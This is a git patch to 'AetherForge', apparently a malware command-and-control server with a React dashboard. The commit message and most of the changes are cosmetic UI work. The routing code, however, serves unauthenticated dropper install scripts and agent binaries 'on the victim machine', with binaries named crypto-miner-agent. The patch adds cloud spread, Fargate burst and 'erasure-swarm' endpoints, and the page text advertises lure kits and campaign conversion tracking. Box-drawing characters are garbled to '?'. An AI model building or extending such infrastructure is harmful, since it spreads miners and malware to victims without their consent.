From bbace3e4bb62e69cefcbdfddfcea3f4ce20499e3 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 10:02:23 -0700 Subject: [PATCH] Merge cloud venue biomes into dashboard weather and Emberwake biome chip. --- server/internal/api/router.go | 65 ++++++++++++--------- server/web/src/components/Layout/Layout.tsx | 23 +++++--- server/web/src/pages/EmberwakePage.css | 13 +++++ server/web/src/pages/EmberwakePage.tsx | 19 ++++++ 4 files changed, 86 insertions(+), 34 deletions(-) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 375d505..fd9cad9 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -27,7 +27,7 @@ import ( ) // authSessionCache avoids running bcrypt on every API request. -// Key: SHA-256(user+":"+password) hex — value: expiry time. +// Key: SHA-256(user+":"+password) hex ? value: expiry time. // Entries are valid for authCacheTTL after the last successful login. // Bcrypt only runs on cache miss or expiry. var ( @@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) { func formatLoginBanner(creds map[string]string) string { var b strings.Builder - b.WriteString("\n╔══════════════════════════════════════════════════╗\n") - b.WriteString("║ AetherForge — Dashboard Login ║\n") - b.WriteString("║ ║\n") + b.WriteString("\n????????????????????????????????????????????????????\n") + b.WriteString("? AetherForge ? Dashboard Login ?\n") + b.WriteString("? ?\n") users := make([]string, 0, len(creds)) for user := range creds { users = append(users, user) @@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string { sort.Strings(users) for _, user := range users { pass := creds[user] - fmt.Fprintf(&b, "║ Username : %-34s║\n", user) - fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) - b.WriteString("║ ║\n") + fmt.Fprintf(&b, "? Username : %-34s?\n", user) + fmt.Fprintf(&b, "? Password : %-34s?\n", pass) + b.WriteString("? ?\n") } - b.WriteString("║ Also saved in data/login-credentials.json ║\n") - b.WriteString("║ Change passwords in Calibrate → Users. ║\n") - b.WriteString("╚══════════════════════════════════════════════════╝\n") + b.WriteString("? Also saved in data/login-credentials.json ?\n") + b.WriteString("? Change passwords in Calibrate ? Users. ?\n") + b.WriteString("????????????????????????????????????????????????????\n") return b.String() } @@ -395,7 +395,7 @@ func saveUser(username, password string) error { // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch -// must not trigger that — only bare browser navigations without these headers should. +// must not trigger that ? only bare browser navigations without these headers should. func isSPAAuthRequest(r *http.Request) bool { return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" } @@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { path := r.URL.Path // Health check and one-liner installer endpoints are always open. - // NOTE: build download/artifact routes are intentionally NOT in this list — + // NOTE: build download/artifact routes are intentionally NOT in this list ? // they require fleet-secret or Basic Auth (see isDownload block below). if path == "/api/v1/health" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || @@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // in the X-Fleet-Secret header instead of Basic auth. This ensures only // legitimately forged agents can call these endpoints. - // A missing or empty fleet secret is always rejected — the server auto- + // A missing or empty fleet secret is always rejected ? the server auto- // generates one at startup so this state should never occur in production. if strings.HasPrefix(path, "/api/v1/agent/") { fleetSecretForAgentPathsMu.RLock() @@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { return } - // Fast path — skip bcrypt if this credential pair was recently validated. + // Fast path ? skip bcrypt if this credential pair was recently validated. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. if !authCacheHit(user, pass) { usersMu.RLock() @@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } - // Credential verified — cache it for the next few minutes. + // Credential verified ? cache it for the next few minutes. authCacheSet(user, pass) } @@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { ensureUsersLoaded(dataDir) version := "AetherForge" @@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler AllowCredentials: false, })) - // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open) + // REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open) r.Route("/api/v1", func(r chi.Router) { r.Use(basicAuthMiddleware) h := NewHandler(database) @@ -639,6 +639,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Config r.Get("/config", configHandler.ServeHTTP) r.Put("/config", configHandler.ServeHTTP) + if erasureSwarmHandler != nil { + r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest) + r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON) + } // Builder r.Post("/builder/build", builderHandler.ServeHTTP) @@ -648,10 +652,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin) r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper) r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate) + r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate) + r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection) + r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst) r.Get("/emberwake/notes", spreadHandler.GetNotes) r.Put("/emberwake/notes", spreadHandler.PutNotes) r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) + r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias @@ -680,7 +688,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) - // Fleet secret rotation — generates a new secret, saves config, kicks all agents. + // Fleet secret rotation ? generates a new secret, saves config, kicks all agents. // Forged agents with the old secret will be rejected until re-forged. r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { if rotateSecretFn == nil { @@ -734,11 +742,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler writeJSON(w, map[string]interface{}{"success": true}) }) - // Deck backup — authenticated full backup ZIP (config + DB + users) + // Deck backup ? authenticated full backup ZIP (config + DB + users) backupH := NewBackupHandler(dataDir, version) r.Get("/backup", backupH.ServeHTTP) - // Path Tracer — on-demand WireGuard chain sessions + // Path Tracer ? on-demand WireGuard chain sessions if pathTracerHandler != nil { r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/discover", pathTracerHandler.Discover) @@ -751,7 +759,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) } - // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). + // Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header). // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) @@ -768,7 +776,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler } r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) - // Public builds (also bypass auth in middleware — listed here for chi routing) + // Public builds (also bypass auth in middleware ? listed here for chi routing) if publicHandler != nil { r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/download/{id}", publicHandler.Download) @@ -778,13 +786,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) } + if spreadHandler != nil { + r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition) + r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript) + r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip) + } }) // WebSocket r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS) - // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate) + // One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate) if dropperHandler != nil { r.Get("/get", dropperHandler.ServeGet) r.Get("/install.sh", dropperHandler.ServeSh) @@ -792,7 +805,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/install.command", dropperHandler.ServeCommand) } - // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts + // SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts // dropped by Seek Mode can fetch and run the agent on the victim machine. // Unauthenticated (the drop URL itself is the secret). r.Get("/api/download/agent-windows", serveAgentBinary("windows")) @@ -897,8 +910,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) { // exe so it works both from the USB bundle and from a compiled dev build. // // Filename convention (same as what the build pipeline produces): -// - windows → crypto-miner-agent.exe -// - mac/linux → crypto-miner-agent (no extension) +// - windows ? crypto-miner-agent.exe +// - mac/linux ? crypto-miner-agent (no extension) // agentBinarySearchDir returns the directory used to locate bundled agent binaries. // Tests may override this to point at a temp tree instead of os.Executable()'s dir. var agentBinarySearchDir = func() (string, error) { diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index cf9e3c6..309a2f2 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -12,7 +12,8 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs'; import SetupBanner from '../SetupBanner'; import { getSetupStatus } from '../../help/setupStatus'; import { resolvePageWeather } from '../../help/pageWeather'; -import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather'; +import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather'; +import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather'; import { isDashboardRoute } from '../../help/routeEffects'; import { api } from '../../api/client'; import { usePresence } from '../../context/PresenceContext'; @@ -45,7 +46,9 @@ function operatorDeckId(pathname: string): string { return 'dashboard'; } -const NAV_BASE = [ +type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean }; + +const NAV_BASE: readonly NavItem[] = [ { to: '/dashboard', label: 'Command Deck', icon: 'deck' }, { to: '/crucible', label: 'Crucible', icon: 'crucible' }, { to: '/activity', label: 'Activity Feed', icon: 'activity' }, @@ -57,15 +60,15 @@ const NAV_BASE = [ { to: '/builds', label: 'Builds', icon: 'builds' }, { to: '/emberwake', label: 'Emberwake', icon: 'ember' }, { to: '/settings', label: 'Calibrate', icon: 'gear' }, -] as const; +]; -const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const; +const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' }; -function buildNav(aiControlEnabled: boolean) { +function buildNav(aiControlEnabled: boolean): NavItem[] { if (!aiControlEnabled) { return [...NAV_BASE]; } - const items = [...NAV_BASE]; + const items: NavItem[] = [...NAV_BASE]; const calibrateIdx = items.findIndex((i) => i.to === '/settings'); items.splice(calibrateIdx, 0, SEER_NAV); return items; @@ -310,14 +313,18 @@ export default function Layout({ children }: LayoutProps) { if (latestMessage?.type !== 'scout_constellations') return null; return latestMessage.payload as ScoutConstellationSnapshot; }, [latestMessage]); + const cloudBiome = useMemo(() => { + if (latestMessage?.type !== 'cloud_venue_biomes') return null; + return latestMessage.payload as CloudVenueSnapshot; + }, [latestMessage]); const pageWeather = useMemo(() => { const base = resolvePageWeather(location.pathname); const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/'; if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') { - return mergeScoutBiomeWeather(base, scoutBiome); + return mergeBiomeWeather(base, scoutBiome, cloudBiome); } return base; - }, [location.pathname, scoutBiome]); + }, [location.pathname, scoutBiome, cloudBiome]); const showDeckEffects = isDashboardRoute(location.pathname); const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to); const mobileShortLabel: Record = { diff --git a/server/web/src/pages/EmberwakePage.css b/server/web/src/pages/EmberwakePage.css index 0d43405..31abe69 100644 --- a/server/web/src/pages/EmberwakePage.css +++ b/server/web/src/pages/EmberwakePage.css @@ -15,6 +15,19 @@ margin-top: 0.5rem; } +.emberwake-biome-chip { + display: inline-block; + margin: 0.5rem 0 0; + padding: 0.2rem 0.55rem; + font-size: 0.72rem; + letter-spacing: 0.06em; + text-transform: uppercase; + color: var(--neon-cyan, #00e8f5); + border: 1px solid rgba(0, 232, 245, 0.35); + border-radius: 999px; + background: rgba(0, 232, 245, 0.08); +} + .emberwake-section-title { margin: 0 0 0.35rem; font-size: 1.1rem; diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index f5ab10d..58e821d 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -25,6 +25,8 @@ import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWi import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel'; import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard'; import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy'; +import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather'; +import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather'; import { HelpTip } from '../components/HelpTip'; import './EmberwakePage.css'; import '../components/Presence/Presence.css'; @@ -74,6 +76,18 @@ export default function EmberwakePage() { const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]); + const biomeLabel = useMemo(() => { + let scout: ScoutConstellationSnapshot | null = null; + let cloud: CloudVenueSnapshot | null = null; + if (latestMessage?.type === 'scout_constellations') { + scout = latestMessage.payload as ScoutConstellationSnapshot; + } + if (latestMessage?.type === 'cloud_venue_biomes') { + cloud = latestMessage.payload as CloudVenueSnapshot; + } + return activeBiomeLabel(scout, cloud); + }, [latestMessage]); + // Keep refs so `load` can read current pin values without listing them as deps. // Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB → // re-render → new load reference → useEffect fires load() again (×N). @@ -242,6 +256,11 @@ export default function EmberwakePage() {

Tag install links, export lure kits, and track which campaigns convert — all from one desk.

+ {biomeLabel && ( +

+ Weather biome · {biomeLabel} +

+ )}

Spread techniques playbook